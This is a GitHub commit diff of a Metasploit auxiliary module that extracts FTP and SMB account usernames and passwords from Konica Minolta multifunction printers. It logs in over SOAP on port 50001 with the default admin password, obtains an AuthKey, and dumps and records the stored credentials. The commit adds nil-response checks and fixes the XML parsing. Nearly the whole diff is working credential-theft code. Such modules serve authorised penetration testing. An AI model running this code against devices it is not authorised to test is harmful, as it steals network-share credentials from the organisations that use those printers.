Skip to content

Commit 5bf8901

Browse files
committed
Fixed several recommended changes by jvazquez-r7, Also Correct a XML parsing issue
1 parent a6980b9 commit 5bf8901

File tree

1 file changed

+57
-40
lines changed

1 file changed

+57
-40
lines changed

modules/auxiliary/gather/konica_minolta_pwd_extract.rb

Lines changed: 57 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -14,10 +14,10 @@ class Metasploit3 < Msf::Auxiliary
1414
def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'Konica Minolta Password Extractor',
17-
'Description' => %{
17+
'Description' => %q(
1818
This module will extract FTP and SMB account usernames and passwords
1919
from Konica Minolta mfp devices. Tested models include: C224, C280,
20-
283, C353, C360, 363, 420, C452,C452, C452, C454e },
20+
283, C353, C360, 363, 420, C452,C452, C452, C454e ),
2121
'Author' =>
2222
[
2323
'Deral "Percentx" Heiland',
@@ -28,8 +28,7 @@ def initialize(info = {})
2828

2929
register_options(
3030
[
31-
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', false]),
32-
OptPort.new('RPORT', [true, 'The target port', '50001']),
31+
Opt::RPORT('50001'),
3332
OptString.new('USER', [false, 'The default Admin user', 'Admin']),
3433
OptString.new('PASSWD', [true, 'The default Admin password', '12345678']),
3534
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
@@ -118,15 +117,20 @@ def version
118117
'method' => 'POST',
119118
'data' => '<SOAP-ENV:Envelope></SOAP-ENV:Envelope>'
120119
}, datastore['TIMEOUT'].to_i)
121-
xml0_body = ::Nokogiri::XML(response.body)
122-
major_parse = xml0_body.xpath('//Major').text
123-
minor_parse = xml0_body.xpath('//Minor').text
124-
major = ("#{major_parse}")
125-
minor = ("#{minor_parse}")
126-
login(major, minor)
127-
128-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
129-
print_error("#{peer} - Version check Connection failed.")
120+
if response.nil?
121+
print_error("#{peer} - No reponse from device")
122+
return
123+
else
124+
xml0_body = ::Nokogiri::XML(response.body)
125+
major_parse = xml0_body.xpath('//Major').text
126+
minor_parse = xml0_body.xpath('//Minor').text
127+
major = ("#{major_parse}")
128+
minor = ("#{minor_parse}")
129+
login(major, minor)
130+
end
131+
132+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
133+
print_error("#{peer} - Version check Connection failed.")
130134
end
131135

132136
# This section logs on and retrieves AuthKey token
@@ -141,10 +145,15 @@ def login(major, minor)
141145
'method' => 'POST',
142146
'data' => "#{authreq_xml}"
143147
}, datastore['TIMEOUT'].to_i)
144-
xml1_body = ::Nokogiri::XML(response.body)
145-
authkey_parse = xml1_body.xpath('//AuthKey').text
146-
authkey = ("#{authkey_parse}")
147-
extract(major, minor, authkey)
148+
if response.nil?
149+
print_error("#{peer} - No reponse from device")
150+
return
151+
else
152+
xml1_body = ::Nokogiri::XML(response.body)
153+
authkey_parse = xml1_body.xpath('//AuthKey').text
154+
authkey = ("#{authkey_parse}")
155+
extract(major, minor, authkey)
156+
end
148157
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
149158
print_error("#{peer} - Login Connection failed.")
150159
end
@@ -164,34 +173,42 @@ def extract(major, minor, authkey)
164173
'method' => 'POST',
165174
'data' => "#{smbreq_xml}"
166175
}, datastore['TIMEOUT'].to_i)
167-
xml2_body = ::Nokogiri::XML(response.body)
168-
@user_data = xml2_body.xpath('//User').map { |val| val.text }
169-
@pass_data = xml2_body.xpath('//Password').map { |val1| val1.text }
170-
@fold_data = xml2_body.xpath('//Folder').map { |val2| val2.text }
171-
@ftp_host = xml2_body.xpath('//Address').map { |val3| val3.text }
172-
@smb_host = xml2_body.xpath('//Host').map { |val4| val4.text }
176+
if response.nil?
177+
print_error("#{peer} - No reponse from device")
178+
return
179+
else
180+
xml2_body = ::Nokogiri::XML(response.body)
181+
@smb_user = xml2_body.xpath('//SmbMode/User').map { |val1| val1.text }
182+
@smb_pass = xml2_body.xpath('//SmbMode/Password').map { |val2| val2.text }
183+
@smb_host = xml2_body.xpath('//SmbMode/Host').map { |val3| val3.text }
184+
@ftp_user = xml2_body.xpath('//FtpServerMode/User').map { |val4| val4.text }
185+
@ftp_pass = xml2_body.xpath('//FtpServerMode/Password').map { |val5| val5.text }
186+
@ftp_host = xml2_body.xpath('//FtpServerMode/Address').map { |val6| val6.text }
187+
@ftp_port = xml2_body.xpath('//FtpServerMode/PortNo').map { |val6| val6.text }
188+
end
173189
end
174190
i = 0
175-
# check for empty fields, identify protocol type, pass to creds database
176-
@user_data.each do
177-
fhost = "#{@ftp_host[i]}"
191+
# output SMB data
192+
@smb_user.each do
178193
shost = "#{@smb_host[i]}"
179-
uname = "#{@user_data[i]}"
180-
pword = "#{@pass_data[i]}"
181-
182-
if !shost.empty? && !uname.empty?
183-
port = '139'
184-
host = "#{@smb_host[i]}"
185-
print_good("User=#{uname}:Password=#{pword}:Host=#{host}:Port=#{port}")
186-
register_creds('smb', host, port, uname, pword)
187-
elsif !fhost.empty? && !uname.empty?
188-
port = '21'
189-
host = "#{@ftp_host[i]}"
190-
print_good("User=#{uname} Password=#{pword} Host=#{host} Port=#{port}")
191-
register_creds('ftp', host, port, uname, pword)
192-
end
194+
sname = "#{@smb_user[i]}"
195+
sword = "#{@smb_pass[i]}"
196+
print_good("SMB Account:User=#{sname}:Password=#{sword}:Host=#{shost}:Port=139")
197+
register_creds('smb', shost, '139', sname, sword)
193198
i += 1
194199
end
200+
i = 0
201+
# output FTP data
202+
@ftp_user.each do
203+
fhost = "#{@ftp_host[i]}"
204+
fname = "#{@ftp_user[i]}"
205+
fword = "#{@ftp_pass[i]}"
206+
fport = "#{@ftp_port[i]}"
207+
print_good("FTP Account:User=#{fname}:Password=#{fword}:Host=#{fhost}:Port=#{fport}")
208+
register_creds('ftp', fhost, fport, fname, fword)
209+
i += 1
210+
end
211+
195212
else
196213
print_status('No AuthKey returned possible causes Authentication failed or unsupported Konica model')
197214
return

0 commit comments

Comments
 (0)